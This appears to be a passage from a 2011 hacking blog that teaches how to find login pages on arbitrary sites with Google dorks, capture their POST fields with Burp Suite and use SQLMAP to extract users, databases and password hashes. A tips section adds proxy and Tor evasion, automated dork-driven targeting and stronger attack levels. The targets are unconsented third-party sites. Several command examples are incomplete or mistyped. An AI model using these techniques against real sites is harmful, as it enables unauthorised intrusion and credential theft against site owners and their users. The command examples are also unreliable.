  • *Site with $POST data being submitted for us to find and inject (i.e. Login page or search fields
  • Example Google Dork: "inurl:admin/login.php" get creative and get better results
Now ow it is time to find a site where we can start doing some testing, let us use Google to see what we can find using a simple dork:
EX: "ext:php inurl:admin/login site:US"
       NOTE:  There are variations to this, so use your own creativity to increase your odds
Resulting Target Found: (take note, write it down, and close browser)

Now it is time to use Burpsuite to help us find out the needed fields for injecting. Run the "burpsuite_v1.x.jar" file to get up and running, just double click it OR start it from the command line by using 'java -jar burpsuite_v1.x.jar' (replace "x" with your version number).
Bursuite is configured by default to operate on port 8080, so you will need to configure your favorite browser to use this as the proxy address so that Brupsuite can pick up all of the traffic for analysis and examining. For most browsers you can open and then go into options or internet options>>connections>>LAN Settings>>PROXY Settings>>and then set to:>>save>>and your done.

Now any pages you go to in your web browser will be parsed by Burpsuite, simple remove proxy setting to go back to normal surfing. By default Burpsuite has the option to "Intercept Data" set to "ON". This is helpful if you want to tamper with data for EVERY request travling on the line. You can quicklya nd easily turn this off if you dont want as much interaction as it will still save the logs for requests sent and received to the HISTORY tab. I prefer to leave it ON as I see more of what is actually going on and can simply DROP any I dont want or FORWARD to allow without very much hastle. Leave it setup for now, we will come back to this in a few...

NOTE: you will have to do some back and forth to see the results while we test so I suggest you just minimize or adjust your screens so you can run side by side (my preference) to save your self time.

Now that we have a potential target and Burpsuite running we will start testing it with our browser to see what all is captured. Surf to the login page found with our Google Dorks earlier and watch as the Burpsuite starts to blink for user interaction. Assuming you have default behavior you will need to "FORWARD" or "DROP" the requests as they are sent and received. This equates to allow or drop in simple terms. You can review the actual details of what is being sent in the RAW tab window  (you change tabs to view different aspects of what is ebing sent/received). Let us try entering "logintest" in the login field and "passtest" in the password field, then submit. Obviously this is not going to get us into the site, unless you are just a really lucky guesser, BUT it will help us to get one step closer to accomplishing that task. You will see the request come through Burpsuite again, FORWARD the request to allow it to run through the full authentication cycle. Now lets review the results from that simple request we just sent...

In Burpsuite navigate to the HISTORY tab, two to the right of the main INTECEPTOR tab we have been working from since we started. The HISTORY tab will outline all of the details that were captured when we sent the login request to our target site.

You should see one or two $GET requests which were sent from you when you were actually navigating to the target site, and then you should find a $POST request from when we actually submitted the login page/form. This is the one we are actually interested in. Highlight the $POST request in the history tab and you can view the specifics down below in the RAW tab window. This is a view of the $POST request sent, if you look through it (likely near bottom) you will notice the actual post parameters sent for the form fields we entered (testlogin & passtest).

It should look something like this:
 POST /Admin/login.php HTTP/1.1
 Proxy-Connection: keep-alive
 Cache-Control: max-age=0
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
 Content-Type: application/x-www-form-urlencoded
 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
 Accept-Encoding: gzip,deflate,sdch
 Accept-Language: en-US,en;q=0.8
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
 Cookie: sid=a3b362a522444335b693ab04007ebbed
 Content-Length: 133

*Notice* the "_auth_username=testlogin" & "_auth_password=testpass". These are the $POST fields we just sent, these field names may vary from site to site so please stay with me if yours a little different.
        Note the cookie field to see if this is of any value, as this and user-agent fields
        are also injectable (to be covered in another article).
             *PRO TIP*: If you use tools like Cain and Able you can use this method to
              add to the "HTTP_PASS_FIELDS.LST" & "HTTP_USER_FIELDS.LST" files
              to increase your chances of  catching credentials while pulling off MiTM attacks
              as you can add the form fields it looks for.

OK now that we know our $POST variables we will be working with, it is time to startup SQLMAP. Open command prompt and type in '', see previous posts regarding how to set environment variables to avoid having to navigate to the install folder.  Now that SQLMAP is up we will start feeding it the data we found from our previous steps above (_auth_username=&_auth_password=&Submit_button=). We will need to let identify we want to use $POST method to inject our website by issuing the '--data' argument followed by our $POST fields we found using Burpsuite "_auth_username=" & "_auth_password=".

NOTE: $GET requests are sent by SQLMAP as default but by issuing the '--data' argument it is smart enough to know to change to $POST - realized by you supplying the those $POST parameters with the '--data' argument in command. The fields passed are then used to test for SQL injection as well as any
provided GET parameters that might normally be tested for.

EX: -u --data "_auth_username=test&_auth_password=test$Submit_button=Submit"

 *PRO TIP* If you know or only want to test certain fields then only include the ones you want (i.e. _auth_password only). If you started a scan and it doesnt look like it is an injectable field you can hit 'CTRL+C' to pause and then you can hit 'N+ENTER' to skip to the next field to start testing. This can save you from spending unnecessary time.

Once confirmed that you have found an injection point, we can add arguments we learned from our previous introductions to find crucial information. We transform the above command into the following:
EX: -u --data "_auth_password=test" --current-user --current-dba --users --dbs --is-dba

Once we have processed results we will check for passwords, using the '--passwords' and see if we can get any...
EX: -u --data "_auth_password=test" --passwords
NOTE: this is assuming you have gone in order, as it will read the session file already created to skip things like (--users) which normally accompanies this command argument...

You can continue enumerating the database for more details on tables, columns, etc but that was already covered in my two original posts on SQLMAP so I will not go into any more details on how to dump the database. If you are super lazy and this was too complex for you, then you can use the easy way out as covered in my mini-tutorial at the end of SQLMAP Tips & Tricks article (--forms).

I hope you have enjoyed this little twist to your standard injection techniques, and hope you walk away remembering to leave no rock unturned in your search for vulnerabilities and injection points. I will try to include more in depth coverage on Burpsuite and its other functionalities and how else it can be used in future articles, but I encourage you in the meantime to please dig around in it and try to get creative.


Thursday, May 5, 2011


1) You need to be safe, so this is crucial. I assume you already have a trusted VPN connected and now to be extra ninja we are also going to route traffic through proxies. We can accomplish this by simply setting the '--proxy=PROXY' parameter which will enable use of proxies during scanning.
         EX: -u --proxy=
         You can also supply credentials with the '--proxy-cred=user:pass' argument

2) You can speed scans by increasing the THREAD count, since the default is set to 3 request at a time.
         2a) If you set this beyond the default you may want to also set the '--delay=DELAY'
         parameter to allow some  strategic delays between requests (or to speed up
        even further, although I have a feeling this leads to errors  which other tools are prone to
         2b) You can use the '-o' switch to enable all of the optimiZation features at once
         2c) If you are performing time based attacks or blind injections then it may be a better
         idea to leave thread count alone and use the '--predict-output' argumernt
         which will save you a bit of time and will allow SQLMAP to perform some analysis
         on found results in session file to help speed things up (can slow things down in other
         scenarios where the '-o' option is much better choice.
3) You can have the tool load different USER-AGENTS in case a site or page has restrictions based on browser type. This can be accomplished by adding the '-a <insert/path/to/file>' parameter to your command string. It needs to be followed by the path to the file containing the USER-AGENTs to be used. You can run a few searches on Google to find some common ones or how to come up with your own custom USER-AGENT. NOTE: this may have been replaced by --user-agent=<insert user agent details> with latest update
         3a) there is a default list provided with installation that you can add to or see how they
        are modeled located at: '~\sqlmap\txt\user-agent.txt'
         *3b) you can also just let SQLMAP do the deciding by issuing the '--random-agent'
4) If you need to fake out the referer in the request due to restrictions on server side you can change the default values by using the '--referer=<http://www.insert/REFERER/page/.com/%3E'
5) Need credentials to perform a more in depth scan? No problem! We can set the credentials using the '--auth-cred' followed by credentials in the typical 'user'':''pass' format
          EX: --auth-cred=user:password  or  --auth-cred=admin:IhazYourPazword!
6) You can load targets using GOOGLE and DORKS, by using the '-g' argument followed by the search dork in quotes ""
          EX: -g "inurl:index.php?id= site:us"
          NOTE: It will work on any targets found in an interactive manner but only the
          arguments passes with original command will be used on each target so make sure you
          use some basics but not too much.

          EX: -g "inurl:index.php?id=" -b --current-user --current-db --is-dba --dbs
          6a) You can also process more than one site request at a time from a file by changing
          the standard '-u' to '-r <path/to/load/HTTP/requests/from/>'
7) You can save and resume scans and data retrieved in session file (in "output" folder) to save time, or to pick things back up where you last left off. You need to use the '-s <insert/path/to/session/file>/session' parameter to tell it where to look to parse results from.
          NOTE: Point it directly at the session file and not just the folder it is in or it
          wont load properly.
You can also use the recorded scan details to learn a LOT. It contains info on the queries used to get all the details as well as everything found, so it is a good reference and learning tool (all dumps are converted to .CSV files which are above and beyond the log and session files that are saved).

8) You can use the '--eta' paramter to have the scans keep an ETA so you have an idea of how long things are going to take. This come in handy when doing dumps of database to give you an idea of how long it thinks it will take (very useful when blind or trying to make determination as to whether or not it makes sense to dump a questionable table in full or just what you need. Remember if it looks like it will take too long you can use the '-s' argument to pick it back up later See step 7 above)

9) You can use '--flush-session' to clear out the results stored for a session file if you need to just start over, or in case the admin has come along and made some changes since your last visit ;)

10) The last one I will leave you with is very important if you are working on Linux machine, like Backtrack, to make sure you have the latest version of SQLMAP as it is constantly being worked on and new developments constantly being released. This can be accomplished by a quick addition of the '--update' argument.
           EX: --update
           NOTE: if you are working on Windows then you can either check the SQLMAP
           homepage often for updated version to download or you can try the Windows SVN
           client called TortoiseSVN GUI, and can be found here and is available for both 32
           and 64 bit computers:
                     You just download and install, then navigate to the SQLMAP install folder in
                     Windows Explorer and you will now have green icon next to those folders
                     that can be updated by SVN. Just right click and choose the option to
                     SVN UPdate folder contents. Once it is done you have updated copy.
BONUS Material:
1) When attacking version 4 databases with no information schema to rely on there are still several options with SQLMAP:
          1a) You can use the '--common-tables' and '--common-columns' arguments to try and bruteforce the table and column names. The default list is much greater than Havij and other tools and can easily be added to if you want to beef it up, it as well as many others used can be found at: ~\sqlmap\txt\*.txt

2) If you dont get any positive results from injection but you have a gut fealing that the site is vulnerable then you can try increasing the '--level' or '--risk' arguments beyond the default level of 1. When you do this it will allow SQLMAP to perform more intense attacks and check for additional injection points such as the cookie field, user-agent field, and even the referer field. I typically will add '--level 3 --risk 3' to my command string if I dont get what I am looking for and have a strong feeling there is an injection point that is some how being overlooked.
3-X)=Updates recently introduced:
' --batch' allows you to walk away from the terminal and let SQLMAP make all of the decisions on your behalf fro all instances where it would usually prompt for interaction, a true hands free experience
' --schema' which can be used to enumeate the databases or schema
' --parse-errors' which tells SQLMAP to parse the error messages from response pages received from queries - helpful when using google dorks
' --mobile' which like the user-agent argument allows SQLMAP to act as if it was a mobile device, which can be handy in testing many of the new spin-off domains to help reach ever expanding consumer markets with very little concern for security or sanitization :)
 Last, but certainly not least as this can be very helpful in adding to YOUR security:
' --tor' which enables SQLMAP to perform queries through the default TOR proxy setup address

Mini-Tutorial on the: --forms
So you want to inject a search form or try to bypass basic login page (with the typically two input fields such as user and pass), you can either pass to sqlmap the request in a request file (-r) as noted aboved, or you can set the $POST data accordingly using the '--data' argument,...
...or let SQLMAP do it for you!
Both user and pass from above example, as do others in real life, appear as <form> and <input> tags in HTML code. This is where this switch will get to perform its handy work. Provide SQLMAP with '--forms' as well as the page where the form can be found as the target url '-u' and SQLMAP will do the rest, by parsing the forms it has found on page provided and will interactively guide you through to test for SQL injection on the form input fields (rather than performing a normal injection scan on site provided by '-u').

Hope these help you with the tool SQLMAP a little bit more. Still working on adding some more instructions and tutorials regarding the additional features that interact with the filesystem, system registry, and actual command execution with a little help from Metasploit. I am also planning a separate short article on how to perform injections via $POST :)

Until next time...
Later - H.R.